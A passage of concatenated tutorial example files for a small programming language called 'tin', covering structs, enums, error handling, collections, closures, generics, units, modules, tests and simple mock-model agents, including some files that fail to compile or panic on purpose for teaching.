} tin run examples/learn/05-structs/change.tintype Player = { name: string, score: int }
fn main() {
var player = Player { name: "Ada", score: 0 }
player.score += 10 // a var's fields can change
player.name = "Ada L."
print(player)
} tin run examples/learn/05-structs/equality.tintype Point = { x: int, y: int }
fn main() {
let a = Point { x: 1, y: 2 }
let b = Point { x: 1, y: 2 }
print(a == b) // equal when every field is equal
print(a == Point { x: 2, y: 1 })
} tin run examples/learn/05-structs/methods.tintype Rect = { width: float, height: float }
// fn Type.name(...) is a method: the first parameter is the value before the dot.
fn Rect.area(r: Rect): float => r.width * r.height
fn Rect.isSquare(r: Rect): bool => r.width == r.height
fn Rect.scaled(r: Rect, by: float): Rect => Rect { width: r.width * by, height: r.height * by }
fn main() {
let r = Rect { width: 2.0, height: 3.0 }
print(r.area())
print(r.isSquare())
print(r.scaled(2.0).area()) // methods chain
} tin run examples/learn/05-structs/missing-field.fails.tintype Point = { x: int, y: int }
fn main() {
let p = Point { x: 1 }
} tin run examples/learn/05-structs/nested.tintype Point = { x: float, y: float }
type Line = { from: Point, to: Point }
fn length(l: Line): float {
let dx = l.to.x - l.from.x
let dy = l.to.y - l.from.y
sqrt(dx * dx + dy * dy)
}
fn main() {
let line = Line { from: Point { x: 0.0, y: 0.0 }, to: Point { x: 3.0, y: 4.0 } }
print(length(line))
} tin run examples/learn/05-structs/shorthand.tintype Point = { x: int, y: int }
fn main() {
let x = 3
let y = 4
let p = Point { x, y } // same as Point { x: x, y: y }
print(p)
} tin run examples/learn/05-structs/struct.tin// A struct type: a name for a group of named fields.
type Book = { title: string, author: string, pages: int }
fn main() {
let book = Book { title: "Dune", author: "Frank Herbert", pages: 412 }
print(book.title)
print("{book.title} has {book.pages} pages")
print(book) // every value can be printed
} tin run examples/learn/05-structs/task-1.solution.tintype Rect = { width: float, height: float }
fn Rect.perimeter(r: Rect): float => 2.0 * (r.width + r.height)
fn main() {
let r = Rect { width: 2.5, height: 4.0 }
print(r.perimeter())
} tin run examples/learn/05-structs/task-2.solution.tintype Point = { x: float, y: float }
fn Point.distanceTo(a: Point, b: Point): float {
let dx = b.x - a.x
let dy = b.y - a.y
sqrt(dx * dx + dy * dy)
}
fn main() {
let home = Point { x: 1.0, y: 1.0 }
let shop = Point { x: 4.0, y: 5.0 }
print(home.distanceTo(shop))
} tin run examples/learn/05-structs/task-3.solution.tintype Money = { euros: int, cents: int }
fn Money.plus(a: Money, b: Money): Money {
let total = (a.euros + b.euros) * 100 + a.cents + b.cents
Money { euros: total / 100, cents: total % 100 }
}
fn main() {
let coffee = Money { euros: 3, cents: 80 }
let cake = Money { euros: 4, cents: 50 }
let bill = coffee.plus(cake)
print("{bill.euros}.{"{bill.cents}".padLeft(2, "0")}")
} tin run examples/learn/05-structs/tuples.tin// A tuple groups a few values without declaring a type.
fn minMax(a: int, b: int): (int, int) {
if a < b { (a, b) } else { (b, a) }
}
fn main() {
let pair = minMax(9, 4)
print(pair)
print(pair.0) // items by position: .0, .1, ...
let (low, high) = minMax(9, 4) // or name them all at once
print("{low} to {high}")
} tin run examples/learn/06-enums/forgot.fails.tintype Light = | Red | Amber | Green
fn action(l: Light): string => match l {
Red => "stop"
Green => "go"
}
fn main() {
print(action(Amber))
} tin run examples/learn/06-enums/guards.tintype Reading = | Temp(float) | Offline
fn describe(r: Reading): string => match r {
Temp(c) if c > 30.0 => "hot: {c}" // a guard: this arm matches only when it holds
Temp(c) if c < 5.0 => "cold: {c}"
Temp(c) => "fine: {c}"
Offline => "no data"
}
fn main() {
print(describe(Temp(34.5)))
print(describe(Temp(1.0)))
print(describe(Temp(20.0)))
print(describe(Offline))
} tin run examples/learn/06-enums/payload.tin// Each variant can carry its own data.
type Shape =
| Circle { radius: float }
| Rect { width: float, height: float }
| Point
fn area(s: Shape): float => match s {
Circle { radius } => PI * radius * radius
Rect { width, height } => width * height
Point => 0.0
}
fn main() {
print(area(Circle { radius: 1.0 }))
print(area(Rect { width: 2.0, height: 3.0 }))
print(area(Point))
} tin run examples/learn/06-enums/positional.tin// Variants can also carry values by position, like a function call.
type Command = | Move(int, int) | Say(string) | Quit
fn run(c: Command): string => match c {
Move(dx, dy) => "move by ({dx}, {dy})"
Say(text) => "say '{text}'"
Quit => "bye"
}
fn main() {
print(run(Move(3, -1)))
print(run(Say("hello")))
print(run(Quit))
} tin run examples/learn/06-enums/simple.tin// A sum type: a value that is exactly one of these.
type Light = | Red | Amber | Green
fn next(l: Light): Light => match l {
Red => Green
Green => Amber
Amber => Red
}
fn main() {
var light = Red
for i in 0..4 {
print(light)
light = next(light)
}
} tin run examples/learn/06-enums/task-1.solution.tintype Coin = | Penny | Nickel | Dime | Quarter
fn cents(c: Coin): int => match c {
Penny => 1
Nickel => 5
Dime => 10
Quarter => 25
}
fn main() {
var total = 0
for c in [Quarter, Dime, Dime, Penny] {
total += cents(c)
}
print("{total} cents")
} tin run examples/learn/06-enums/task-2.solution.tin// A sum type can contain itself: an expression is a number, or two expressions combined.
type Expr =
| Num(int)
| Add(Expr, Expr)
| Mul(Expr, Expr)
fn eval(e: Expr): int => match e {
Num(n) => n
Add(a, b) => eval(a) + eval(b)
Mul(a, b) => eval(a) * eval(b)
}
fn main() {
print(eval(Num(7)))
print(eval(Add(Num(2), Num(3))))
// (1 + 2) * 4
print(eval(Mul(Add(Num(1), Num(2)), Num(4))))
} tin run examples/learn/06-enums/task-3.solution.tinfn grade(score: int): string => match score {
s if s >= 90 => "A"
s if s >= 75 => "B"
s if s >= 50 => "C"
_ => "F"
}
fn main() {
print(grade(95))
print(grade(80))
print(grade(60))
print(grade(20))
} tin run examples/learn/06-enums/values.tin// match works on ints and strings too. _ matches anything else.
fn dayName(n: int): string => match n {
0 => "Sunday"
6 => "Saturday"
_ => "a weekday"
}
fn reply(word: string): string => match word {
"hi" => "hello!"
"bye" => "see you"
other => "I don't know '{other}'" // a name also matches anything, and keeps the value
}
fn main() {
print(dayName(6))
print(dayName(3))
print(reply("hi"))
print(reply("thanks"))
} tin run examples/learn/07-errors/no-null.fails.tinfn findUser(id: int): Option<string> {
if id == 1 { return Some("ada") }
None
}
fn main() {
let name = findUser(1)
print(name.upper())
} tin run examples/learn/07-errors/option.tin// Option<T> is Some(value) or None. There is no null.
fn findUser(id: int): Option<string> {
if id == 1 { return Some("ada") }
if id == 2 { return Some("grace") }
None
}
fn main() {
print(findUser(1))
print(findUser(9))
match findUser(2) {
Some(name) => print("found {name}")
None => print("no such user")
}
} tin run examples/learn/07-errors/or.tinfn main() {
let port = parseInt("8080") // parseInt returns an Option<int>
let bad = parseInt("eighty")
print(port)
print(bad)
print(port.or(80)) // the value, or a fallback
print(bad.or(80))
print(bad.isNone())
} tin run examples/learn/07-errors/own-error.tin// The error can be your own sum type, so callers can tell the failures apart.
type WithdrawError = | Insufficient { short: int } | Negative
fn withdraw(balance: int, amount: int): Result<int, WithdrawError> {
if amount < 0 { return Err(Negative) }
if amount > balance { return Err(Insufficient { short: amount - balance }) }
Ok(balance - amount)
}
fn explain(e: WithdrawError): string => match e {
Insufficient { short } => "not enough: {short} short"
Negative => "amount can't be negative"
}
fn main() {
for amount in [30, 500, -5] {
match withdraw(100, amount) {
Ok(left) => print("ok, {left} left")
Err(e) => print(explain(e))
}
}
} tin run examples/learn/07-errors/panic.panics.tin// panic is for bugs: things that should never happen. It stops the program.
fn main() {
let scores = [90, 72, 85]
print(scores[0])
print(scores[3]) // there is no fourth score
} tin run examples/learn/07-errors/question.tinfn parsePort(text: string): Result<int, string> {
match parseInt(text) {
Some(n) => if n > 0 && n < 65536 { Ok(n) } else { Err("port {n} is out of range") }
None => Err("'{text}' is not a number")
}
}
// ? takes the Ok value out, or returns the Err from this function right away.
fn address(host: string, port: string): Result<string, string> {
let p = parsePort(port)?
Ok("{host}:{p}")
}
fn main() {
print(address("localhost", "8080"))
print(address("localhost", "http"))
print(address("localhost", "99999"))
} tin run examples/learn/07-errors/question-option.tin// ? works on Option too, in a function that returns an Option.
fn sumOf(a: string, b: string): Option<int> {
let x = parseInt(a)?
let y = parseInt(b)?
Some(x + y)
}
fn main() {
print(sumOf("2", "40"))
print(sumOf("2", "forty"))
} tin run examples/learn/07-errors/result.tin// Result<T, E> is Ok(value) or Err(error): an operation that can fail, and why.
fn divide(a: int, b: int): Result<int, string> {
if b == 0 { return Err("cannot divide {a} by zero") }
Ok(a / b)
}
fn main() {
print(divide(10, 2))
print(divide(1, 0))
match divide(7, 0) {
Ok(n) => print("result: {n}")
Err(why) => print("failed: {why}")
}
} tin run examples/learn/07-errors/task-1.solution.tinfn safeDivide(a: float, b: float): Option<float> {
if b == 0.0 { return None }
Some(a / b)
}
fn main() {
print(safeDivide(1.0, 4.0))
print(safeDivide(1.0, 0.0))
print(safeDivide(9.0, 0.0).or(0.0))
} tin run examples/learn/07-errors/task-2.solution.tintype Setting = { key: string, value: int }
// "key=value", for example "volume=7"
fn parseSetting(line: string): Result<Setting, string> {
let parts = line.split("=")
if parts.len != 2 { return Err("expected key=value, got '{line}'") }
match parseInt(parts[1]) {
Some(n) => Ok(Setting { key: parts[0], value: n })
None => Err("'{parts[1]}' is not a number")
}
}
fn main() {
print(parseSetting("volume=7"))
print(parseSetting("volume"))
print(parseSetting("volume=loud"))
} tin run examples/learn/07-errors/task-3.solution.tinfn parsePoint(x: string, y: string): Result<(int, int), string> {
let a = parseNumber(x)?
let b = parseNumber(y)?
Ok((a, b))
}
fn parseNumber(text: string): Result<int, string> {
match parseInt(text) {
Some(n) => Ok(n)
None => Err("'{text}' is not a number")
}
}
fn main() {
print(parsePoint("3", "4"))
print(parsePoint("3", "four"))
} tin run examples/learn/08-collections/arrays.tinfn main() {
let primes = [2, 3, 5, 7, 11]
print(primes)
print(primes[0]) // positions start at 0
print(primes.len)
print(primes.contains(7))
print(primes.slice(1, 3)) // from position 1 up to (not including) 3
print(primes.reverse())
} tin run examples/learn/08-collections/change.tinfn main() {
var todo = ["write", "test"]
todo.push("ship") // add at the end
todo[0] = "write more" // replace one item
print(todo)
let done = todo.pop() // remove the last one and get it back
print(done)
print(todo)
} tin run examples/learn/08-collections/empty.tinfn main() {
var names: string[] = [] // an empty array needs its type spelled out
print(names.isEmpty())
names.push("ada")
print(names)
} tin run examples/learn/08-collections/empty.fails.tinfn main() {
var names = []
names.push("ada")
} tin run examples/learn/08-collections/maps.tinfn main() {
var stock: Map<string, int> = newMap()
stock.set("apple", 3)
stock.set("pear", 0)
stock.set("apple", 5) // set again: replaces the value
print(stock.get("apple")) // get returns an Option
print(stock.get("kiwi"))
print(stock.has("pear"))
print(stock.size())
stock["kiwi"] = 7 // m[k] = v is the same as set
stock["kiwi"] += 1
print(stock["kiwi"]) // m[k] reads the value; it panics if k is missing
for fruit, n in stock { // keys keep the order they were added in
print("{fruit}: {n}")
}
} tin run examples/learn/08-collections/one-type.fails.tinfn main() {
let mixed = [1, "two", 3]
} tin run examples/learn/08-collections/out-of-bounds.panics.tinfn main() {
let xs = [1, 2, 3]
var i = 0
while true {
print(xs[i])
i += 1
}
} tin run examples/learn/08-collections/sets.tinfn main() {
var seen: Set<string> = newSet()
for word in "to be or not to be".split(" ") {
seen.add(word) // adding again changes nothing
}
print(seen)
print(seen.size())
print(seen.has("or"))
let ages = mapOf([("ada", 36), ("alan", 41)])
for name, age in ages {
print("{name} is {age}")
}
} tin run examples/learn/08-collections/sort.tinfn main() {
let scores = [72, 95, 88, 60]
print(sort(scores)) // a sorted copy; scores itself is unchanged
print(scores)
print(sum(scores))
print(first(scores)) // Option: an empty array has no first item
print(join(["a", "b", "c"], " / "))
} tin run examples/learn/08-collections/task-1.solution.tinfn largest(xs: int[]): Option<int> {
if xs.isEmpty() { return None }
var best = xs[0]
for x in xs {
if x > best { best = x }
}
Some(best)
}
fn main() {
print(largest([4, 19, 7]))
let none: int[] = []
print(largest(none))
} tin run examples/learn/08-collections/task-2.solution.tinfn main() {
let text = "the cat saw the dog and the cat ran"
var counts: Map<string, int> = newMap()
for word in text.split(" ") {
counts.set(word, counts.get(word).or(0) + 1)
}
for word, n in counts {
print("{word}: {n}")
}
} tin run examples/learn/08-collections/task-3.solution.tinfn withoutDuplicates(xs: int[]): int[] {
var seen: int[] = []
for x in xs {
if !seen.contains(x) { seen.push(x) }
}
seen
}
fn main() {
print(withoutDuplicates([3, 1, 3, 2, 1, 3]))
} tin run examples/learn/09-closures/capture-var.fails.tinfn main() {
var rate = 2
let scale = (x: int) => x * rate
rate = 10
print(scale(1))
} tin run examples/learn/09-closures/closure.tinfn main() {
// (x) => ... is a function without a name: a closure
let inc = (x: int) => x + 1
print(inc(41))
let bonus = 10
let addBonus = (score: int) => score + bonus // it can use names from around it
print(addBonus(80))
} tin run examples/learn/09-closures/fn-values.tinfn double(x: int): int => x * 2
fn square(x: int): int => x * x
// f is a function that takes an int and returns an int: its type is (int) => int
fn applyTwice(f: (int) => int, x: int): int => f(f(x))
fn main() {
print(applyTwice(double, 3))
print(applyTwice(square, 3))
let op = square // a function is a value like any other
print(op(9))
} tin run examples/learn/09-closures/map-filter.tinfn main() {
let prices = [4.0, 12.5, 7.25, 30.0]
print(prices.map((p) => p * 1.2)) // change every item
print(prices.filter((p) => p < 10.0)) // keep some items
print(prices.any((p) => p > 25.0))
print(prices.count((p) => p > 5.0))
print(prices.find((p) => p > 10.0))
} tin run examples/learn/09-closures/pipe.tinfn main() {
let orders = [12, 250, 40, 8, 99]
// x |> f(y) means f(x, y). Read it top to bottom, like a recipe.
let bigTotal = orders
|> filter((n) => n >= 40)
|> map((n) => n * 2)
|> sum()
print(bigTotal)
// the same thing, nested inside out:
print(sum(map(filter(orders, (n) => n >= 40), (n) => n * 2)))
} tin run examples/learn/09-closures/reduce.tinfn main() {
let words = ["tin", "is", "small"]
// reduce walks the array, carrying a running value: here, the total length
let letters = words.reduce(0, (total, w) => total + w.len)
print(letters)
let longest = words.reduce("", (best, w) => if w.len > best.len { w } else { best })
print(longest)
} tin run examples/learn/09-closures/sort-by.tintype Player = { name: string, score: int }
fn main() {
let players = [
Player { name: "Ada", score: 72 },
Player { name: "Bo", score: 95 },
Player { name: "Cy", score: 88 },
]
// sortBy takes a function that says whether a comes before b
let ranked = sortBy(players, (a, b) => a.score > b.score)
for i, p in ranked {
print("{i + 1}. {p.name} {p.score}")
}
} tin run examples/learn/09-closures/task-1.solution.tinfn main() {
let temps = [12.0, 19.5, 23.0, 31.5, 8.0]
let fahrenheit = temps.map((c) => c * 9 / 5 + 32)
print(fahrenheit)
} tin run examples/learn/09-closures/task-2.solution.tinfn main() {
let n = range(1, 11)
|> filter((x) => x % 2 == 0)
|> map((x) => x * x)
|> sum()
print(n)
} tin run examples/learn/09-closures/task-3.solution.tin// Returns a function. Each one remembers its own `by`.
fn multiplier(by: int): (int) => int => (x: int) => x * by
fn main() {
let double = multiplier(2)
let triple = multiplier(3)
print(double(5))
print(triple(5))
print([1, 2, 3].map(triple))
} tin run examples/learn/10-generics/generic-sum.tin// A generic sum type: a tree of anything.
type Tree<T> = | Leaf | Node(Tree<T>, T, Tree<T>)
fn size<T>(t: Tree<T>): int => match t {
Leaf => 0
Node(left, _, right) => size(left) + 1 + size(right)
}
fn main() {
let t: Tree<string> = Node(Node(Leaf, "a", Leaf), "b", Node(Leaf, "c", Leaf))
print(size(t))
} tin run examples/learn/10-generics/generic-type.tin// Types can take parameters too. Option<T> and Result<T, E> are written this way.
type Pair<A, B> = { first: A, second: B }
fn swap<A, B>(p: Pair<A, B>): Pair<B, A> => Pair { first: p.second, second: p.first }
fn main() {
let p = Pair { first: 1, second: "one" }
print(p)
print(swap(p))
} tin run examples/learn/10-generics/infer.fails.tintype Tree<T> = | Leaf | Node(Tree<T>, T, Tree<T>)
fn main() {
let t = Node(Leaf, "a", Leaf)
} tin run examples/learn/10-generics/largest.tinfn largest<T>(xs: T[]): Option<T> {
if xs.len == 0 { return None }
var best = xs[0]
for x in xs {
if x > best { best = x }
}
Some(best)
}
fn main() {
print(largest([3, 9, 4]))
print(largest([2.5, -1.0]))
print(largest(["pear", "apple", "plum"])) // strings compare alphabetically
let nothing: Option<int> = largest([]) // here the type comes from the annotation
print(nothing)
} tin run examples/learn/10-generics/not-comparable.fails.tintype Point = { x: int, y: int }
fn largest<T>(xs: T[]): Option<T> {
if xs.len == 0 { return None }
var best = xs[0]
for x in xs {
if x > best { best = x }
}
Some(best)
}
fn main() {
print(largest([Point { x: 1, y: 2 }, Point { x: 3, y: 0 }]))
} tin run examples/learn/10-generics/ord.tintype Version = { major: int, minor: int }
fn Version.compare(a: Version, b: Version): int {
if a.major != b.major { a.major - b.major } else { a.minor - b.minor }
}
fn Version.show(v: Version): string => "v{v.major}.{v.minor}"
fn main() {
let vs = [Version { major: 1, minor: 4 }, Version { major: 0, minor: 9 }, Version { major: 1, minor: 0 }]
print(sort(vs))
print(max(vs[0], vs[2]))
print(vs[1] < vs[2])
} tin run examples/learn/10-generics/task-1.solution.tinfn repeatItem<T>(item: T, times: int): T[] {
var out: T[] = []
for i in 0..times {
out.push(item)
}
out
}
fn main() {
print(repeatItem("hi", 3))
print(repeatItem(0, 4))
} tin run examples/learn/10-generics/task-2.solution.tintype Box<T> = { label: string, item: T }
fn Box.open<T>(b: Box<T>): T => b.item
fn main() {
let a = Box { label: "number", item: 42 }
let b = Box { label: "word", item: "tin" }
print("{a.label}: {a.open()}")
print("{b.label}: {b.open()}")
} tin run examples/learn/10-generics/task-3.solution.tintype Tree<T> = | Leaf | Node(Tree<T>, T, Tree<T>)
// Items left to right: everything in the left branch, then this item, then the right branch.
fn items<T>(t: Tree<T>): T[] => match t {
Leaf => []
Node(left, item, right) => items(left).concat([item]).concat(items(right))
}
fn main() {
let t: Tree<int> = Node(Node(Leaf, 1, Leaf), 2, Node(Leaf, 3, Node(Leaf, 4, Leaf)))
print(items(t))
} tin run examples/learn/10-generics/traits.tintrait Shape {
fn area(s: Self): float
}
type Circle = { r: float }
type Square = { side: float }
fn Circle.area(c: Circle): float => PI * c.r * c.r
fn Square.area(s: Square): float => s.side * s.side
fn bigger<T: Shape>(a: T, b: T): T => if a.area() > b.area() { a } else { b }
fn main() {
print(bigger(Square { side: 2.0 }, Square { side: 3.0 }))
print(bigger(Circle { r: 1.0 }, Circle { r: 0.5 }).r)
} tin run examples/learn/10-generics/traits-missing.fails.tintrait Shape {
fn area(s: Self): float
}
type Tri = { b: float, h: float }
fn bigger<T: Shape>(a: T, b: T): T => if a.area() > b.area() { a } else { b }
fn main() {
print(bigger(Tri { b: 1.0, h: 2.0 }, Tri { b: 2.0, h: 2.0 }))
} tin run examples/learn/10-generics/why.tin// Without generics you'd write the same function once per type:
fn firstInt(xs: int[]): Option<int> => if xs.len == 0 { None } else { Some(xs[0]) }
fn firstString(xs: string[]): Option<string> => if xs.len == 0 { None } else { Some(xs[0]) }
// With a type parameter T, one function works for any element type.
fn firstOf<T>(xs: T[]): Option<T> => if xs.len == 0 { None } else { Some(xs[0]) }
fn main() {
print(firstInt([1, 2]))
print(firstString(["a"]))
print(firstOf([1, 2])) // T is int here
print(firstOf(["a"])) // and string here
print(firstOf([true, false]))
} tin run examples/learn/11-values/copy.tinfn main() {
var a = [1, 2]
let b = a // b gets its own copy
a.push(3)
print(a)
print(b) // still [1, 2]
} tin run examples/learn/11-values/copy-struct.tintype Robot = { name: string, battery: int }
fn main() {
var first = Robot { name: "Bud", battery: 90 }
var second = first // a copy, not a second name for the same robot
second.name = "Petal"
second.battery = 40
print(first)
print(second)
} tin run examples/learn/11-values/inout.tintype Robot = { name: string, battery: int }
// inout: this function may change the caller's variable.
fn charge(r: inout Robot, amount: int) {
r.battery = min(100, r.battery + amount)
}
fn main() {
var bud = Robot { name: "Bud", battery: 70 }
charge(&bud, 20) // & at the call: you can see that bud may change here
print(bud)
charge(&bud, 20)
print(bud)
} tin run examples/learn/11-values/inout-let.fails.tinfn addZero(xs: inout int[]) {
xs.push(0)
}
fn main() {
let fixed = [1, 2]
addZero(&fixed)
} tin run examples/learn/11-values/inout-method.tintype Counter = { count: int }
// A method whose first parameter is inout changes the value it is called on.
fn Counter.bump(c: inout Counter) {
c.count += 1
}
fn main() {
var clicks = Counter { count: 0 }
clicks.bump() // a method call on a var needs no &
clicks.bump()
print(clicks.count)
} tin run examples/learn/11-values/iterator.tintype Countdown = { n: int }
// next changes the countdown in place (inout) and gives the next number, or None when done
fn Countdown.next(c: inout Countdown): Option<int> {
if c.n == 0 { return None }
c.n -= 1
Some(c.n + 1)
}
fn main() {
let launch = Countdown { n: 3 }
for t in launch {
print("{t}...")
}
print("liftoff, and launch.n is still {launch.n}")
} tin run examples/learn/11-values/param.tin// A parameter is a copy too. The function can't reach the caller's data.
fn drained(r: Robot): Robot {
var out = r
out.battery = 0
out
}
type Robot = { name: string, battery: int }
fn main() {
let bud = Robot { name: "Bud", battery: 90 }
let empty = drained(bud)
print(bud) // unchanged
print(empty)
} tin run examples/learn/11-values/param-let.fails.tintype Robot = { name: string, battery: int }
fn drain(r: Robot) {
r.battery = 0
}
fn main() {
drain(Robot { name: "Bud", battery: 90 })
} tin run examples/learn/11-values/task-1.solution.tinfn main() {
var original = ["a", "b"]
var backup = original
original.push("c")
backup[0] = "z"
print(original) // ["a", "b", "c"]
print(backup) // ["z", "b"]
} tin run examples/learn/11-values/task-2.solution.tinfn swapEnds(xs: inout int[]) {
if xs.len < 2 { return }
let first = xs[0]
xs[0] = xs[xs.len - 1]
xs[xs.len - 1] = first
}
fn main() {
var xs = [1, 2, 3, 4]
swapEnds(&xs)
print(xs)
} tin run examples/learn/11-values/task-3.solution.tintype Account = { owner: string, balance: int }
fn Account.deposit(a: inout Account, amount: int) {
a.balance += amount
}
fn Account.withdraw(a: inout Account, amount: int): bool {
if amount > a.balance { return false }
a.balance -= amount
true
}
fn main() {
var acct = Account { owner: "ada", balance: 0 }
acct.deposit(50)
print(acct.withdraw(80))
print(acct.withdraw(30))
print(acct)
} tin run examples/learn/12-units/convert.tinfn main() {
let timeout = 2s
print(timeout / 1ms) // Duration / Duration is a plain number: how many ms fit
print(timeout / 250ms)
let retries = 3
print(retries * 500ms) // a number times a unit is a Duration
} tin run examples/learn/12-units/durations.tinfn main() {
let tick = 250ms // a number with a unit is a Duration
print(tick)
print(tick + 1s) // durations add up, whatever the unit
print(tick * 4)
print(90s) // printed in a readable unit
print(1.5h)
} tin run examples/learn/12-units/freq-mix.fails.tinfn main() {
let rate = 135Hz
sleep(rate)
} tin run examples/learn/12-units/frequency.tinfn main() {
let rate = 50Hz // a Frequency
print(rate)
print(1 / rate) // the time between two ticks: a Duration
print(1 / 20ms) // and back: a Frequency
print(2s * rate) // Duration × Frequency is a plain number of ticks
} tin run examples/learn/12-units/mix.fails.tinfn main() {
let timeout = 250ms
print(timeout + 3) // 3 what? seconds? milliseconds?
} tin run examples/learn/12-units/sleep.tinfn main() {
let start = now() // time since the program started, a Duration
sleep(20ms)
let took = now() - start
print(took >= 20ms)
} tin run examples/learn/12-units/task-1.solution.tinfn main() {
let steps = [1.5s, 300ms, 2min, 45s]
var total = 0s
for s in steps {
total += s
}
print(total)
} tin run examples/learn/12-units/task-2.solution.tintype Loop = { name: string, rate: Frequency }
fn main() {
let loops = [Loop { name: "balance", rate: 135Hz }, Loop { name: "camera", rate: 30Hz }]
for l in loops {
print("{l.name}: every {1 / l.rate}, {int(floor(1min * l.rate))} ticks a minute")
}
} tin run examples/learn/12-units/task-3.solution.tin// Waits 100ms, then 200ms, then 400ms ... but never more than 1s.
fn backoff(attempt: int): Duration {
var wait = 100ms
for i in 0..attempt {
wait = wait * 2
}
if wait > 1s { 1s } else { wait }
}
fn main() {
for attempt in 0..6 {
print("attempt {attempt}: wait {backoff(attempt)}")
}
} tin run examples/learn/13-modules/arm.tinimport "./lib/joints.tin"
import "./lib/report.tin"
fn main() {
let arm = [
Joint { name: "shoulder", angle: 1.2, limit: 1.6 },
Joint { name: "elbow", angle: -2.4, limit: 2.1 },
Joint { name: "wrist", angle: 3.0, limit: 2.8 },
]
print(report(arm))
print(report([arm[0]]))
} tin run examples/learn/13-modules/lib/dates.tinfn label(day: int): string => "day {day}" tin run examples/learn/13-modules/lib/dates2.tinfn dayLabel(day: int): string => "day {day}" tin run examples/learn/13-modules/lib/joints.tin// lib/joints.tin: a file of types and functions for other files to use.
type Joint = { name: string, angle: float, limit: float }
/// The names of the joints that are past their limit.
fn overLimit(joints: Joint[]): string[] {
joints.filter((j) => abs(j.angle) > j.limit).map((j) => j.name)
} tin run examples/learn/13-modules/lib/money.tinfn label(cents: int): string => "${cents / 100}.{str(cents % 100).padLeft(2, "0")}" tin run examples/learn/13-modules/lib/report.tin// lib/report.tin: it uses Joint, so it imports joints.tin itself.
import "./joints.tin"
fn report(joints: Joint[]): string {
let bad = overLimit(joints)
if bad.isEmpty() { "no joint is over the limit" } else { "over the limit: {join(bad, ", ")}" }
} tin run examples/learn/13-modules/lib/temps.tinfn toFahrenheit(c: float): float => c * 9.0 / 5.0 + 32.0
fn toCelsius(f: float): float => (f - 32.0) * 5.0 / 9.0 tin run examples/learn/13-modules/task-1.solution.tinimport "./lib/temps.tin"
fn main() {
print(toFahrenheit(100.0))
print(toCelsius(212.0))
print(toCelsius(toFahrenheit(21.5)))
} tin run examples/learn/13-modules/task-2.fails.tinimport "./lib/money.tin"
import "./lib/dates.tin"
fn main() {
print(label(1205))
print(label(3))
} tin run examples/learn/13-modules/task-2.solution.tin// dates2.tin is dates.tin with its function renamed to dayLabel.
import "./lib/money.tin"
import "./lib/dates2.tin"
fn main() {
print(label(1205))
print(dayLabel(3))
} tin run examples/learn/13-modules/twice.fails.tinimport "./lib/joints.tin"
// joints.tin already has a type called Joint
type Joint = { name: string }
fn main() {
print(Joint { name: "elbow" })
} tin run examples/learn/14-tests/assert.test.tinfn discount(total: int, percent: int): Result<int, string> {
if percent < 0 || percent > 100 { return Err("percent must be between 0 and 100") }
Ok(total - total * percent / 100)
}
test "a quarter off" {
assertEq(discount(1000, 25), Ok(750)) // assertEq works on any type, even Result
}
test "silly percentages are refused" {
assert(discount(1000, 150).isErr(), "150% should be refused")
}
test "nothing off" {
let r = discount(1000, 0)
assert(r == Ok(1000)) // without a message, the condition is the message
} tin run examples/learn/14-tests/beside-main.tintype Cart = { items: string[], total: int }
fn add(cart: inout Cart, item: string, price: int) {
cart.items.push(item)
cart.total += price
}
test "a cart adds up" {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", 300)
add(&cart, "cake", 450)
assertEq(cart.total, 750)
assertEq(cart.items, ["tea", "cake"])
}
// tin run ignores the test blocks, but still checks that they compile
fn main() {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", 300)
print(cart)
} tin run examples/learn/14-tests/beside-main.test.tintype Cart = { items: string[], total: int }
fn add(cart: inout Cart, item: string, price: int) {
cart.items.push(item)
cart.total += price
}
test "a cart adds up" {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", 300)
add(&cart, "cake", 450)
assertEq(cart.total, 750)
assertEq(cart.items, ["tea", "cake"])
}
// tin run ignores the test blocks, but still checks that they compile
fn main() {
var cart = Cart { items: [], total: 0 }
add(&cart, "tea", 300)
print(cart)
} tin run examples/learn/14-tests/failing.test.tinfn average(xs: int[]): int => sum(xs) / xs.len
test "average of three" {
assertEq(average([2, 4, 6]), 4)
}
test "average rounds down" {
assertEq(average([1, 2]), 2) // wrong on purpose: integer division gives 1
} tin run examples/learn/14-tests/first.test.tinfn add(a: int, b: int): int => a + b
test "adding two numbers" {
assertEq(add(2, 3), 5)
}
test "adding zero changes nothing" {
assertEq(add(7, 0), 7)
} tin run examples/learn/14-tests/rotted.fails.tinfn add(a: int, b: int): int => a + b
test "an old test nobody ran" {
assertEq(add(2, 3, 4), 9)
}
fn main() {
print(add(2, 3))
} tin run examples/learn/14-tests/task-1.solution.test.tinfn isLeapYear(y: int): bool => (y % 4 == 0 && y % 100 != 0) || y % 400 == 0
test "every fourth year" { assert(isLeapYear(2024)) }
test "but not every hundredth" { assert(!isLeapYear(1900)) }
test "except every four hundredth" { assert(isLeapYear(2000)) }
test "ordinary years" { assert(!isLeapYear(2023)) } tin run examples/learn/14-tests/task-2.solution.test.tinfn average(xs: int[]): Option<int> {
if xs.isEmpty() { return None }
Some(sum(xs) / xs.len)
}
test "average of three" {
assertEq(average([2, 4, 6]), Some(4))
}
test "an empty list has no average" {
let none: int[] = []
assertEq(average(none), None)
} tin run examples/learn/15-first-agent/hello.tinagent Echo {
model: "mock"
system: "You repeat what you are told."
}
fn main() {
let answer = Echo("hello, agent") // an agent is called like a function
print(answer)
} tin run examples/learn/15-first-agent/local.tinfn greeter(style: string): Agent {
// written as an expression, `agent { ... }` makes a new agent each time
agent {
model: "mock"
system: "Answer like a {style}."
}
}
fn main() {
let pirate = greeter("pirate")
let poet = greeter("poet")
print(pirate("ahoy"))
print(poet("good morning"))
} tin run examples/learn/15-first-agent/memory.tinagent Echo { model: "mock" }
fn main() {
print(Echo("my name is Ada"))
print(Echo("what is my name?")) // a real model would see both messages and answer "Ada"
print("model calls so far: {Echo.turns()}")
Echo.reset() // forget the conversation: the next call starts fresh
print(Echo("what is my name?"))
} tin run examples/learn/15-first-agent/task-1.solution.tinagent Helper {
model: "mock"
system: "You are a friendly helper. Keep answers short."
}
fn main() {
for q in ["hi", "what can you do?"] {
print(Helper(q))
}
print("turns: {Helper.turns()}")
} tin run examples/learn/15-first-agent/task-2.solution.tinfn main() {
let a = agent { model: "mock" }
let b = a.fresh() // a copy with an empty conversation
print(a("one"))
print(a("two"))
print(b("three"))
print("a: {a.turns()}, b: {b.turns()}")
} tin run examples/learn/15-first-agent/trace.tin// run: --trace
agent Echo { model: "mock" }
fn main() {
print(Echo("show me the loop"))
